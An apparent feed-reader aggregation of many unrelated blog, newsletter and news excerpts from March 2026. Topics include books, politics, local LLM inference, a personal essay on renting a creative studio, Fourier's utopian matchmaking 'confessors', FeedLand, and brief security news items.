A professor once assigned me to select and watch over a small plot of land in the city. I was to take weekly notes on its changes, so as to understand the site’s history and record the details of its

Astrofiction: Seven Novels With Astronaut Protagonists

Astronauts are well-represented in popular culture. From songs like David Bowie’s A Space Oddity and Elton John’s Rocketman, to films such as 2001: A Space Odyssey (concurrently developed alongside Arthur C. Clarke’s novel of the same name), Interstellar, Gravity… we

Never Again? On the Death of Universalism After Gaza

Whether humankind can survive the combined onslaught of climate change, rampant aggressive dementia, and destructive artificial intelligence technologies is currently uncertain. It is certain, however, that civilization—the progressive “humanization” of the human, the predominance of language over the natural ferocity

The Dog Meows, the Cat Barks

The dream first came to him when he was twelve, and it would often return at unexpected times. In that dream he was in a small skiff, all alone, in the middle of the ocean. Wherever he looked, he could

Louise Erdrich, Han Kang, David Streitfeld, and more: 20 new books out today!

Officially: it is spring. Does that mean we can finally put our winter coats and scarves away? Time will tell. Until then, until we know for sure the snow has gone for good, let’s just count our blessings and look

A Report You Need to Read

Friends,

Iran, Immigration, and Elections (w/ Chris Hayes)

The post Iran, Immigration, and Elections (w/ Chris Hayes) appeared first on Crooked Media.

OIL WILL DECIDE WHEN GOLD AND SILVER BOTTOMED

This week started with a “Bang!”, but I am not referring to the sound of bomb or rocket strikes somewhere in the Middle East, but to President Trump’s post that jolted global markets about 2 hours before US cash trading began on Monday. There is plenty of commentary out there...

The post OIL WILL DECIDE WHEN GOLD AND SILVER BOTTOMED appeared first on JustDario.

Tread carefully, because you tread on my fucks.

This newsletter is free to read, and it’ll stay that way. But if you want more - extra posts each month, access to the community, and a direct line to ask me things - paid subscriptions are $2.50/month. A lot of people have told me it&

Streaming experts

I wrote about Dan Woods' experiments with streaming experts the other day, the trick where you run larger Mixture-of-Experts models on hardware that doesn't have enough RAM to fit the entire model by instead streaming the necessary expert weights from SSD for each token that you process.

Five days ago Dan was running Qwen3.5-397B-A17B in 48GB of RAM. Today @seikixtc reported running the colossal Kimi K2.5 - a 1 trillion parameter model with 32B active weights at any one time, in 96GB of RAM on an M2 Max MacBook Pro.

And @anemll showed that same Qwen3.5-397B-A17B model running on an iPhone, albeit at just 0.6 tokens/second - iOS repo here.

I think this technique has legs. Dan and his fellow tinkerers are continuing to run autoresearch loops in order to find yet more optimizations to squeeze more performance out of these models.

Tags: definitions, llms, ai, autoresearch, generative-ai, kimi, local-llms, qwen

Debug-Modus bei Legal-Tech-Plattform advocado legt sensible Daten offen

Der Chaos Computer Club (CCC) setzt seine Serie von Datenlecks bei Legal-Tech-Anbietern fort. Bei der Plattform advocado.de war ein Debug-Werkzeug offen zugänglich, das niemals im Internet exponiert sein sollte. In der Folge konnte auf hochgeladene Dokumente und Gesprächsaufzeichnungen zugegriffen werden. Der CCC hat das Datenleck gemeldet.

Early Day

Hope he doesn't block my double-shot I took Luke Kornet's coffee test, scored high, and wrote a comment. Go there I spent most of today writing Making a New News Business over at the ProjectVRM blog. It begins, In the dawning decades of our new Digital Age, the news business has shrunk from a galaxy […]

March 23, 2026

Shortly after the close of the U.S.

Enclosure

It was interesting to see this short article 1 about the enclosure of the web commons go by after just having listened to The Dig’s epic two part interview with Peter Linebaugh 2.

What’s needed is a multi-stakeholder settlement in which large-scale users of the commons take on long-term, structured obligations to sustain it: contractual funding through paid APIs and usage-based levies, formal recognition of DPGs as Digital Public Infrastructure to unlock multilateral co-financing, and a shift in philanthropy from one-off project grants to sustained core support for the institutions that maintain the commons.

I hadn’t realized that the details of these deals that Wikipedia are striking aren’t fully transparent, and well understood outside of closed doors? I think it’s really instructive to think about what is happening right now on the web as enclosure, and part of a longer history of capitalism (as Linebaugh and Denvir talk about). The interview made me think of the craft, tooling, and means of production that are still present in the software industry, but that are being actively being enclosed by the centralization of tooling and skill, craft and knowledge itself.

Yes, I’m talking about LLMs here. Once you see it, it’s impossible not to see it.

This all makes me think of Eleanor Ostrom’s design
principles and how it is important that the Wikipedia community have insight into how their commons is being used through monitoring, decision making, resolving the future conflicts that will no doubt ensue.

I’m not entirely sure I understand the potential role of the Digital Public
Goods Alliance in all this:

Digital Public Goods (DPG) are supposed to be shielded from precisely this kind of capture. They require financing models commensurate with their public value, not models that make them fiscally dependent on their most extractive users. When the sustainability of a DPG hinges on a small oligopoly of AI firms, the risk turns political: agenda-setting and governance drift toward those who can threaten to walk away.

Perhaps Wikipedia is at risk with losing its DPG status? In what practical ways does identification as a DPG help shape governance? What is being done, or can we be doing to push back on this enclosure? And of course, the situation is quite a bit bigger when you consider the strain that LLM hungry bots are putting on cultural heritage organizations, also part of a larger commons.

1. The
   Commons w/ Peter Linebaugh, The Dig. ↩︎

2. Mining
   the commons: AI extraction, Wikipedia, and the case for a
   multi-stakeholder settlement, Internet Policy Review. ↩︎

Dispatches from an in-progress attempt to get unstuck

Hello and welcome to the latest chapter of my midlife crisis, where I’ve done something somewhat impulsive, which is to sign a commercial lease on a (very modest) studio space in Brooklyn.

I have felt creatively stuck for a while, and also just generally disconnected and ungrounded from the immediate physical world around me. So I’m hoping that having a dedicated space to make stuff will encourage me to get myself unstuck. (Also paying a monthly subscription fee a.k.a. rent to another landlord in order to hold myself accountable to fixing my own creative constipation better be enough of a fire to get me moving and stop feeling sorry for myself.)

I think part of the reason why I feel disconnected from the physical, touchable world is that I work in internet but also my main hobby is internet, so I spend a lot of time online. (There are other external forces contributing too, like the general state of the world and the fact that society is crumbling, et cetera. Apparently I’ve been since at least 2022 according to this note I found.) In any case, I’m not trying to litigate the root cause of my blehs too hard right now; I just want to work on fixing what I can control.

What am I trying to unstick, exactly? It’s not that I don’t have creative ideas. I have lots of ideas. My ideas have ideas. They’re just not manifesting themselves into existence. Whenever I have time and space to actually act on a creative idea, I either forget what the brilliant idea was thanks to brain fog, or, if I do remember what it was, it suddenly feels stupid or like I can’t do it and I don’t want to work on it anymore. Or I get distracted by some other thing that seems more urgent and important but in the grand scheme of things probably isn’t. Or I just don’t have the energy. And then before I know it, months have passed and I feel guilty that I haven’t made anything.

I miss the feeling of making or tinkering with or fixing something tangible and getting so into it that I lose track of time and my mom has to tell me to stop and go to bed otherwise I will be tired at school the next morning. That’s the feeling I’m chasing.

This is roughly the sequence of events that led me here:

• I was on my subway commute home on a Friday after a somewhat frustrating day at work. The train was delayed, and on top of it I knew I was just going to go home and eat dinner, maybe go for a walk, and then probably mindlessly scroll to try and distract myself from the day, and I didn’t really feel good about it.

• I somehow started thinking about something that felt kind of original and was also the first idea I’d been excited about in a long time.

  • The loose idea was to have a physical space and also a digital representation of that space (a website like kwon.space) and somehow harmonize them.
  • I didn’t think about it too deeply but shared a half-baked version of the idea on Mastodon (which has lately been my digital third place), just to throw it out into the world.
  • People were super encouraging, enough to make me take the step of casually looking up studio spaces in Brooklyn and domain names in cyberspace, while on the train on the train.

• I bought the domain, kwon.space, that evening1.

  • I initially wanted kwon.studio but that one is already taken, by an artist named Suki Kwon in Dayton, Ohio. I went down a small rabbit hole exploring her art while browsing domain names.

• Two days later I was touring a physical studio space.

• After seeing a few spaces, I signed the lease on one of them that more or less felt right.

• Three weeks after that initial idea on the subway, I had keys in hand.

So it’s been about a month, and I’ve had 9 or 10 short studio sessions so far, usually less than two hours long. The sessions have been fairly aimless (intentionally) and I’m trying not to be too productive or anything, just have fun with it, so I’ve been working on some small scale maker stuff like building a Raspberry Pi writer deck2, woodworking with hand tools, assembling a workbench and other furniture for the space (how [lowercase-m] meta!)

Not to be dramatic, but it’s kind of felt like detoxing from an addiction where the main symptom was draining my ability to focus. The last time I felt that present was when I was in the ambulance after my car accident last summer, wondering if I was bleeding into my abdomen from the blunt force trauma (spoiler: I wasn’t). I was not-so-secretly hoping that it would fix my problem of getting easily distracted and that the focus would persist and that I would magically be able to be fully present and focus forever. Disappointingly (and also thankfully in other ways, but not in this regard), it’s kind of amazing how quickly life went back to “normal” with the usual distractions of the world around me. Also getting into a car accident every time I want to focus on a creative project doesn’t seem like the most sustainable strategy.

I knew I’ve been using my business brain a little too much because one early thought I had about the studio was, oh, I could create and track a metric called “time-to-flow-state”, ttfs, defined as time in mins it takes for me from entering my studio and closing the door to achieving flow state, which would dictate how “successful” I’ve been in any given session. But then I decided I didn’t want that pressure and that wasn’t the mindset I wanted to have.

The very first time I was in my studio space after getting the keys, no furniture, sitting on the hard cold floor under a bright fluorescent light, thinking about my intentions for the space, I felt that I absolutely made the right decision, which was a conviction I haven’t had lately about anything. I was basically sitting in an unglamorous empty white box with a hard gray concrete floor (it really does look like this except a little more industrial) and it felt good to just… imagine possibilities.

There are lots of things to noodle on relation to setting up the physical space and I’m enjoying the process. The biggest project I’ve been working on this month is the studio itself. There has been no shortage of decisions to make and it’s kind of fun and empowering to think about what I want the space to be. For example, there’s no internet in the space (I’d have to get it set up and open a contract with an ISP and everything just like getting residential internet). So I thought, maybe it should be an internet-free zone? I could build a little phone-sized lockbox by the door and lock my phone in it and not retrieve it until leaving the studio. This would mean that the studio space is only for physical or offline projects. Or the other extreme, what if I brought my home internet setup to the studio and used internet ONLY there and not at home? I remember when the internet was a place, the shared family desktop computer in my parents’ room where I would surf for hours, and that was a time when I would get lost. Or maybe I shouldn’t be so extreme — I can connect to the internet if I truly have a blocking question or something that requires the internet to solve, but it can mostly be a physical tinkering space3.

One thing I learned about acquiring creative studio space is that the first thing they ask you is “what do you do?”, as in what are you going to use this space for. That is a perfectly reasonable question to ask, but the first time I was asked I was kind of caught off guard, and “I don’t know but I’m going to use the space to find out” (which was my honest answer) didn’t seem like an answer that would inspire confidence for someone taking on a tenant, so I said something like “uh writing? And maybe some small maker projects like mechanical keyboards or woodworking with hand tools but nothing too loud or dangerous, unless that’s what people like to do here in which case I can roll with it 😅” and the guy was like “…ok so you’re a writer” and then showed me some studios.

The reality is that I have way too many things that I like to do and want to try, but it doesn’t seem like the best idea to do writing, woodworking, bike stuff, soldering, etc, in the same small space (dust, grease, and electronics seem like a bad combination), so I know I’ll need to scope it down. I really just want to be as worry-free as possible about creativity killers like making a mess and breaking things. I had seen another place, in a trendier neighborhood further from where I live, with hardwood floors and clearly new-ish drywall put up, which was more reasonably priced and a slightly larger space, but it felt too clean, almost corporate, and I realized I would be afraid to mess it up, which was the opposite of my intention for the space, so I ended up going with the grittier, sturdier warehouse-vibe space with concrete floors and brick walls.

So that’s where I’m at. The general vibe I’ve landed on so far is that my space is basically my suburban garage, where I can hang out for a couple of hours in the evening after work or on weekend days and just tinker and be loud and make mistakes. The version of me that’s the frustrated grown-up on the subway me is trying to do right by the kid who didn’t want to go to bed because she was having too much fun playing. Let’s see where it goes! (I did put something up at kwon.space as a placeholder, and while I’m focusing on the physical space for now, it’ll be fun to think about what to do with the digital space when the time comes.)

1. Surely, buying another kwon-themed domain will solve all my problems!! ↩︎

2. This is an especially hilarious project for me because I’ve had writer’s block for about ten years… *literally builds a small computer for writing in order to avoid doing the actual writing*… ↩︎

3. The em-dash in this sentence was lovingly handcrafted, with a gentle click on my option+shift+dash keys. ↩︎

Wed, Mar 25th, 7pm EST - This Week's Hopium Paid Subscriber Get Together

Excited to be getting back together with folks

Type Construction and Cycle Detection

Go 1.26 simplifies type construction and enhances cycle detection for certain kinds of recursive types.

Porous Barriers That Divide Then From Now

I came to Muncie, Indiana this week for this moment: March 24th, the night that George Dale's life changed forever. Even 104 years later, the reverberations of history stay close.

Good trains

Japan reflections and book recs. Read here.

Waterfox 6.6.10 - Discord compatibility and security fixes

Security fixes and a Discord compatibility fix.

More Magic Math from OpenAI?

When it comes to OpenAI, smart money is starting to do the math out loud. And something doesn’t add up. On surface, today’s news that OpenAI is offering 17.5% guaranteed returns to private equity firms looks like a shot at the Anthropic threat. Scratch the surface, and you start to see the story behind the …

@Miguel de Icaza Mastondon feed

Oops https://www.reuters.com/business/finance/us-secs-ex-enforcement-chief-clashed-with-bosses-before-leaving-sources-say-2026-03-23/

Into the Abyss We Go

The global economy is about to take a shock most people are not prepared for—and the political class is still pretending everything is normal.

@Miguel de Icaza Mastondon feed

What are the odds

Quoting Neurotica

slop is something that takes more human effort to consume than it took to produce. When my coworker sends me raw Gemini output he’s not expressing his freedom to create, he’s disrespecting the value of my time

— Neurotica, @schwarzgerat.bsky.social

Tags: ai-ethics, slop, generative-ai, ai, llms

What Happened Last Night at LaGuardia.

There is a lot we don't know about the tragic collision last night. But we already know enough to be very concerned.

@Dave Winer's Scripting News

Video demo: Using categories in FeedLand for dynamic OPML lists.

datasette-files 0.1a2

Release: datasette-files 0.1a2

The most interesting alpha of datasette-files yet, a new plugin which adds the ability to upload files directly into a Datasette instance. Here are the release notes in full:

• Columns are now configured using the new column_types system from Datasette 1.0a26. #8
• New file_actions plugin hook, plus ability to import an uploaded CSV/TSV file to a table. #10
• UI for uploading multiple files at once via the new documented JSON upload API. #11
• Thumbnails are now generated for image files and stored in an internal datasette_files_thumbnails table. #13

Tags: annotated-release-notes, datasette

I’ve been working on this for a year. It’s finally here.

My new book, The Day After: How to Wield Power in a Post-Trump World, is a wake-up call about how we got here and how to actually wield power if we get it back.

@Dave Winer's Scripting News

Happy to report there are FeedLand users who want to edit OPML lists there so they can subscribe to them in another feed reader that has support for dynamic OPML lists. I am happy because this is a very cool feature that will be so much more fun if other people use it. If you want to set it up so you have a list on feedland.com that you want to subscribe to in another reader, instead of subscribing to all your feeds, like this -- create a category for each list you want to hook up to another reader. It will be much easier to manage down the road. Categories in FeedLand are very simple, but if you use them carefully, they really help. Here's a screen shot of my Cats menu to give you an idea. I really use FeedLand in the most powerful ways, but it'll really click when others do the same. We might be there now.

@Dave Winer's linkblog

Iran Is Setting the Pace; Trump Is Reacting.

A Government of One

Otherwise known as an autocracy

Liquid Glass Is Permanent

Danny Bolella (Reddit): If you read the comments on my articles or browse the iOS subreddits, there is a vocal contingent of developers betting that Apple is going to roll back Liquid Glass. […] I shared this exact sentiment with the Apple team. Their reaction? Genuine shock. They were actually concerned that developers were holding […]

Disk Image Performance With macOS 26.3.1

Howard Oakley: This table summarises read and write performance of the most popular types of disk image prior to macOS Tahoe, and demonstrates how sparse bundles have consistently performed best and most consistently, and sparse images (now dropped from Disk Utility’s options) fare worst, particularly when encrypted. Howard Oakley: Although most of the test results […]

Provisioning Profiles in Mac VMs

Quinn: There may be other outstanding issues, but you can now: On a macOS 15 or later host, install macOS 15 or later in a VM.On the guest, log in using an Apple Account in System Settings.And install Xcode.And add your Apple Account to Xcode.And then build and run a Mac app.Even if it uses […]

@Miguel de Icaza Mastondon feed

OH: "I am going to go home and clank one out"

TACO Monday: Metamucilini Blinks Again

The Andy Borowitz Show

“Calm Down” Is Not an Argument

A recording from Mike Brock's live video

ICE in Minnesota and the Legacy of Dred and Harriet Scott

Trump's ICE deployment to Minneapolis echoes one of the darkest periods in our history

@Dave Winer's Scripting News

There's a problem with one of my Digital Ocean servers today, it turns out it's a problem with Caddy, not sure why -- but it doesn't seem to be on the computer any longer. I can figure out how to re-install it, but it always is a bit tricky, and I wish I didn't have to do it. In diagnosing the problem I used Claude, it asked all kinds of questions, gave me commands to run, and I dutifully reported back the results like a good servant. It's so funny to be a tool for the cyborg. Then it hit me, why don't they offer servers with built-in maintenance by Claude. I would type commands at like "install the following apps on this new server I want to commission, and check into it every so often and if it's running out of some resource, get in touch with me and let me know how much more it'll cost, and I'll just use it and you can keep it running." I think it's a really nice application for AI.

@Pleiades STOA at hcommons.socal

Last Week in the #PleiadesGazetteer (16-23 March 2026): Over the past week the Pleiades editorial college published 12 new and 108 updated place resources, reflecting the work of Jeffrey Becker, Catherine Bouras, Anika Campbell, Ilaria Cristofaro, Tom Elliott, Sean Gillies, Maxime Guénette, Greta Hawes, Brady Kiesling, Gabriel Mckee, John Muccigrosso, Rosemary Selth, R. Scott Smith, Richard Talbert and Enes Yılandiloğlu.

A list of all new and changed resources, complete with titles, descriptions, bylines, change summaries and links to the actual gazetteer entries, as well as an overview map, may be read on the blog at https://pleiades.stoa.org/news/blog/last-week-in-pleiades-16-23-march-2026

#ancientGeography #ancientHistory #archaeology #DH #gazetteers #HGIS

Last Week in Pleiades (16-23 March 2026)

Last week the Pleiades editorial college published 12 new and 108 updated place resources, reflecting the work of Jeffrey Becker, Catherine Bouras, Anika Campbell, Ilaria Cristofaro, Tom Elliott, Sean Gillies, Maxime Guénette, Greta Hawes, Brady Kiesling, Gabriel Mckee, John Muccigrosso, Rosemary Selth, R. Scott Smith, Richard Talbert and Enes Yılandiloğlu.

@Pleiades STOA at hcommons.socal

Export Updates 2026-03-23:

Pleiades gazetteer of ancient places

3 new and 54 updated places.

1. Downloads: https://pleiades.stoa.org/downloads

2. pleiades.datasets: https://github.com/isawnyu/pleiades.datasets:

"main" branch:

3ea3a6a9 - updated json

b293fcec - updated rdf/ttl

a2d14dca - updated gis package

68a7c253 - updated data quality

9aebd8ab - updated bibliography

f3786370 - updated indexes

c63ef58c - updated sidebar

3. pleiades-geojson: https://github.com/ryanfb/pleiades-geojson:

98048ef0 - updated geojson and names index

4. pleiades_wikidata: https://github.com/isawnyu/pleiades_wikidata/:

acd9ef70 - updated pleiades wikidata

Quoting David Abram

I have been doing this for years, and the hardest parts of the job were never about typing out code. I have always struggled most with understanding systems, debugging things that made no sense, designing architectures that wouldn't collapse under heavy load, and making decisions that would save months of pain later.

None of these problems can be solved LLMs. They can suggest code, help with boilerplate, sometimes can act as a sounding board. But they don't understand the system, they don't carry context in their "minds", and they certianly don't know why a decision is right or wrong.

And the most importantly, they don't choose. That part is still yours. The real work of software development, the part that makes someone valuable, is knowing what should exist in the first place, and why.

— David Abram, The machine didn't take your craft. You gave it up.

Tags: careers, ai-assisted-programming, generative-ai, ai, llms

Reading Finn Mac Cool by Morgan Llywelyn.

Reading Finn Mac Cool by Morgan Llywelyn.

Five books to pick up if you’re also binging FX’s Love Story.

I can’t speak for your algorithm, but mine is a sea of tortoise-shell headbands and musings on the return of minimalism. This is care of Love Story, the latest entry in the Ryan Murphy multiverse. This new series depicts the whirlwind romance

The Portland Roadster Show

This weekend I popped into the Portland Expo Center to check out the annual roadster show. It was a fun mix of mostly 1960s customs and rods. I don't have any shots from my absolute favorite display, which is a local high school's body shop where

@Barack Obama @Bsky

The day the Affordable Care Act passed was one of my proudest moments as president, because it meant that millions of Americans would have access to health care, some for the first time.

GPC Opt Out: UX Fails or Malicious Compliance?

As of Jan 1, the CCPA requires websites to confirm they are honoring Global Privacy Control (GPC) opt outs. Why are so many cookie banners complying with the new rule in ways certain to confuse users?

My Prodigal Brainchild

Reflections on the latest and greatest Death of the Metaverse

Wired Confirmed iPhone’s Worst-Kept Secret: Closed Systems Fail at Scale

For years, Apple has sold the myth of the “unhackable iPhone.” A walled garden. A fortress. A device so locked down that only nation-states could dream of breaking in. Wired’s latest reporting just blew that narrative apart.

The post Wired Confirmed iPhone’s Worst-Kept Secret: Closed Systems Fail at Scale appeared first on Purism.

Trump's Three Vietnams And The Wisdom Of The Founders

The reason we have lines at airports is because of ICE. If ICE agrees to follow the law the lines disapear. ICE is the *cause* of all those lines - not a solution.

Psicópata: el asesino del conejo blanco – te dejará dormir por la noche

Dirección: J. Xavier Velasco. Guion: Fernando Barreda Luna. Elenco: Adriana Llabrés, Hoze Meléndez, Andrés Almeida, Horacio García Rojas, Sara Juárez, Gerardo Trejoluna, Nailea Norvind. País: México. Más información de la película: https://www.imdb.com/title/tt32205214/ Psicópata: el asesino del conejo blanco, película dirigida por J. Xavier Velasco, toma inspiración de los thrillers de asesinos seriales estadounidenses para plantear […]

La entrada Psicópata: el asesino del conejo blanco – te dejará dormir por la noche se publicó primero en Palomita de maíz.

Microbes And Governance

Writing of lasting value

🌻 why LLMs are bad writers but good editors

my new Atlantic essay + Claude editor setup

Top ten Figma betrayals

Figma is the industry standard for painting pretty pictures of websites. It’s where designers spend my designated dev time pushing pixels around one too many artboards. Figma promises to remove the proverbial fence between design and development. […]

Confessors in Harmony

Charles Fourier was an early socialist utopian, part of the French tradition of thinkers who came up with various schemes for the complete reorganization of society on more rational grounds, and whose views now read to us as an unstable admixture of obviously sensible notions, delusional crankery, and things that seem to encapsulate both of those elements at once in a way that brings out the weirder aspects of our own dominant forms of social organization. Fourierist communities, known in as phalansteries, got off the ground in several countries, including a few in the United States. The basic social unit he had in mind was called a phalanx; in his mind, this would consist of 1,620 people, because of course there are 810 types of personality and you need two of each kind. A phalanstery is thus the large housing complex that houses a phalanx. Horace Greeley founded a couple, including the Sylvania Colony in Pennsylvania that eventually became the town of Greeley, PA.

A phalanstery.

Reading Fourier in his context is of course a matter of careful intellectual history, which we are going to skip here. I just wanted to make a note of a passage I came across this morning where Fourier discusses aspects of his plans for relations between the sexes. Fourier had many interesting views here that flow from his rejection of the constraints of “civilization”.1 He coined the term “feminism”. His vision was of a kind of liberation of human creative energies and capacities of all kinds, from work to sex, that would be organized in a manner at once fulfilling to individuals and socially productive and harmonious. As is often the case in utopian visions, there’s a desire to have all of the benefits of an advanced division of labor while avoiding its overall problems and rejecting the social mechanisms we seem to have to coordinate it (which is to say, usually, an oppressive state or an open market). French utopian socialism, in particular, often ends up with schemes that are at once clearly hierarchical, or at least occupationally differentiated, highly integrated and solidaristic, but also fully accommodating of individual freedoms and liberties. A magic wand that grants some theory of human nature, or posits a general conversion to some sort of religion of science, is often waved by the author to accomplish the hard parts.

A side effect of this line of thought is that the twin beliefs in rational administration of the social order and the harmonious satisfaction of individual needs and desires can result in ideas that seem strangely familiar to us. For example, in this passage Fourier is discussing the problem of how people should pair up in phalansteries, and in particular how a traveler from one settlement to another should be able to make the best use of their time in matters of love. His answer is that we clearly need some sort of organized matching system that optimizes on the combination of people’s present sexual wants and their basic personality types:

We will now take up one of the most interesting branches of the calculus of the passions: the art of enabling anyone anywhere, even in places where he is a total stranger, to make instant contact with people with whom he is in complete sympathy. If the theory of attraction offered no other advantage, would it not still be a boon to all mankind? Would it not be a blessing to the people of civilization who often spend years in a city without encountering sympathetic partners in love, friendship or any of the passions? In Harmony any traveler will make such acquaintances on the very day of his arrival in a city. … The art of the sympathist, which is unknown in civilization, provides the means for the instant matching of personalities and sympathies, anywhere and under any circumstances.

Let us first consider the enormity of the calculations entailed by sympathetic matching and the speed with which they must be performed. … Let us suppose that a horde of one thousand adventurers and adventuresses has arrived in a Phalanx at four o’clock in the afternoon. They are immediately served light refreshments and then, even before they take time to wash, they rush off to confession. The most skillful confessors and confessoresses of the region have been gathered. Their job is to examine these thousand knights errant, each of whom must submit a written declaration concerning his or her most recent adventures. The confessors go over these declarations as well as the reports of previous confessors; they study the immediate inclinations and physical needs of each individual, and attempt to provide him or her with appropriate sympathetic relationships. Putting all the relevant information together, the confessors determine, by means of an equation, the balance of contrasts and identities that will be most attractive to each of the adventurers.

When an individual is still basking in the enthusiasm of a romantic passion, the delicious contrast provided by a sympathy in the composite mode, should the confessor intervene to provide a diversion? Yes, very likely. For someone who has just concluded a sympathetic relationship in the composite would probably be incapable of duplicating the experience immediately. Then should the confessor provide the visitor with a cabalistic liaison by offering him a choice among several candidates of identical character? Or should an appeal be made to the visitor’s alternating sympathies, his penchant for variety and contrast in both the moral and physical realms? Such are the first questions considered by the confessor. For there are three basic types of sympathies, and the initial problem is to decide which should be employed. A variation may be in order. Or it may be advisable to continue on the same scale of sympathies. For if an individual’s appetite has not been exhausted by his previous adventures, he will be capable of engaging the same sympathies in a higher or lower degree.

That is the heart of the matter; now let us turn to subordinate problems. No matter which of the three sympathies is brought into play, should it be presented directly or should it be preceded by transitions or complements? In the latter case, should the individual be subjected to a direct unitary sympathy or to an inverse unitary sympathy or perhaps even a diffracted sympathy? Should simple movement be relied upon?2 This is sometimes a wise course of action, though rather inglorious, as simple movement always is; but it may be necessary in exceptional cases which will be determined by the confessors and the fairies. It is not for the individual to choose between these alternatives. He is too much absorbed by his recent memories. It is up to the calm and judicious confessor to determine the type of charm that will arouse his enthusiasm. On the basis of his declarations the confessor will decide what sort of relationship is most certain to engage his sympathies. Then the fairies with the best knowledge of the Phalanx will designate the matching individuals from whom he may make his choice.

All of this work, which involves the use of algebraic formulas, should be completed for the thousand adventurers within the short time of two or three hours. For if each visitor was not systematically informed concerning his sympathies, if there was no one to inform him about the individuals with whom he could instantaneously establish sympathetic relationships, he would run the risk of getting involved in purely sensual intrigues, intrigues wholly lacking in illusion. Like the people of civilization, he would fall back upon trivial, simple sex. (Sometimes this is necessary, but only as a respite from composite relationships or, as a transition, in moments of hesitation and of overabundant pleasure.) After a two days’ visit, at the moment of his departure, he might accidentally encounter people with whom he was truly sympathetic. Then he would regret having spent his two days without having known their merit and without having formed a liaison which might have charmed him. He would leave the Phalanx with a feeling of resentment, with bad memories instead of delicious illusions.

This goes to show that the functions of the confessor are most important and that a skilled confessor is an invaluable member of any Phalanx. The job is not one that can be confided to the first comer, as it is in civilization; it requires the greatest degree of tact, human understanding, and familiarity with local circumstances. Women will excel more than men in this sort of work, and as a rule in Harmony there will be two confessoresses for every one confessor. They will be magnificently paid for their services and promoted to the highest ranks. As for the formulas used by the confessors in their work of sympathetic matching, they cannot be explained just yet. It will first be necessary to classify the 810 personality types, any one of which may be represented in an equation of sympathy and may appear in a number of cases.

This translation is from The Utopian Vision of Charles Fourier, edited by Jonathan Beecher and Richard Bienvenu (Beacon, 1971, pp. 378–80). They note, somewhat dryly, that “Fourier does in fact go on to explain—at length—the process whereby the confessors do their matching. Unfortunately, his ‘algebraic’ formulas do not lend themselves to translation.”

Here’s a taste of that, from volume eleven of Oeuvres complètes de Charles Fourier:

I wouldn’t rely on it myself.

In any case, I like the idea of a full filing system containing an information card for each person, classified according to a system of 810 personality types, and including regularly updated information about needs and recent activities, curated and administered by experts, and which people consult upon arriving in a new town or city when they are considering how best to match up with someone it would be enjoyable to hook up with. Obviously a completely unrealistic and impossible-to-implement scheme that bears no resemblance whatsoever to howanything in contemporary society works.

1. Always a derogatory term for Fourier, in contrast with “Harmony”, the overall name for his utopia. ↩︎

2. Here he means what is in his view the simplest kind of attraction, that of opposites. ↩︎

@Miguel de Icaza Mastondon feed

TSA, the 25-year old boondoggle dedicated to the detection of shampoo and water bottles is facing funding challenges.

@Miguel de Icaza Mastondon feed

Man, Orange Cheeto surrendered.

I thought the US was just going to commit a bunch of war crimes and get away with it. And now, the Mossad, the CIA, the Israelis and the Americans have been shown to be a collection of incompetent criminals.

The hubris of Trumpism really infects everything it touches.

And yet, Iran is committed to extract the guarantees from these losers that it demanded since the start.

Adventures in Fantasy Diplomacy

Trump says he's negotiating with Iran. Iran says he isn't. Who are you gonna believe?

@Dave Winer's Scripting News

I wanted to subscribe to the GiftArticles feed from Mastodon. It makes it possible to read news on paywalled sites. I found the feed by going to the site the feed comes from and tacking a .rss at the end. You can read the feed in a browser, and my feeder test app can read it as well. But for some reason FeedLand won't subscribe to it. Have to dig into that soon. I'm looking forward to doing some long-overdue work on FeedLand before doing the next push.

The Pancake Discussion

When every discussion feels flat, how do you fluff it up? The answer, to me, is to eat fewer pancakes.

Bowen Yang & Matt Rogers Celebrate Ten Years Of ‘Las Culturistas’ With Major New Deal With  iHeartMedia & Will Ferrell’s Big Money Players

EXCLUSIVE: Bowen Yang and Matt Rogers, who launched their hit podcast Las Culturistas in March 2016, are celebrating its tenth anniversary with a new deal. The pair have struck an exclusive renewal deal with iHeartMedia and Will Ferrell’s Big Money Players. Terms of the multiyear deal were not disclosed, but it’s likely to have been […]

Is Céline Dion About To Announce Paris Concert Dates? Speculation Rife As Posters Bearing Hit Song Titles Appear On Streets Of French Capital

Rumors are rife that Céline Dion is on the verge of announcing Paris concert dates following a mysterious poster campaign on the streets of the French capital bearing the titles of some of her best-known songs such as the ‘Power of Love’, ‘Pour que tu m’aimes encore’ and ‘S’il Suffisait d’Aimer’. The appearance of the […]

‘Young Sherlock’ & ‘Get Millie Black’ Producer Developing Two New Dramas With Booker Prize-Winner Marlon James As It Bolsters Team

EXCLUSIVE: Young Sherlock producer Motive Pictures is developing two new projects with Booker Prize-winning author Marlon James, while bolstering its development team to manage a growing slate of dramas. Motive previously collaborated with James on his first TV project, Get Millie Black, for Channel 4 in the UK and HBO in the U.S. Now James, […]

Award-winning bird recognition device

This Maker Monday story reminds us of Raspberry Pi's origins by encouraging young people to get into computing.

The post Award-winning bird recognition device appeared first on Raspberry Pi.

Manage APT packages with a modern terminal interface

APTUI is a TUI (Terminal User Interface) written in Go that acts as a frontend for APT.

The concept is simple: do everything you already do with APT, but without leaving the screen and without typing repetitive commands.

Main features

• Real-time filtering as you type
• Fuzzy search (no need for exact name)
• Fallback to apt-cache search

Installation

Via Go

go install github.com/mexirica/aptui@latest

Or via APT (Debian/Ubuntu)

(custom repository available in the project)

Then just run:

aptui

For more information, visit the repository.

Huw Edwards Issues Blistering Statement About Drama Chronicling His Downfall & Says He’s Planning To Tell His Side Of Story

Huw Edwards has spoken out for the first time since receiving a suspended prison sentence for accessing child abuse images. The disgraced former BBC News anchor has issued a statement condemning an upcoming drama chronicling his downfall, which will premiere on Paramount-owned network 5 on Tuesday. Published by The Daily Mail, Edwards said the team […]

Microsoft Xbox One Hacked

It’s an impressive feat, over a decade after the box was released:

Since reset glitching wasn’t possible, Gaasedelen thought some voltage glitching could do the trick. So, instead of tinkering with the system rest pin(s) the hacker targeted the momentary collapse of the CPU voltage rail. This was quite a feat, as Gaasedelen couldn’t ‘see’ into the Xbox One, so had to develop new hardware introspection tools.

Eventually, the Bliss exploit was formulated, where two precise voltage glitches were made to land in succession. One skipped the loop where the ...

Trump Says Intelligence Played No Role in His Decision to Start War

“Intelligence is for losers.”

Of LPE and Legislative Supremacy

Beau Baumann’s case for legislative supremacy offers a compelling vision for the left. However, branding it as a form of “constitutional politics” risks obscuring its deeper claim: that nothing, not even the Constitution, should stand above democratic lawmaking. His vision will also face significant opposition from liberals and progressives, many of whom remain tempted by courts and presidential power.

I built a CLI for Ghost

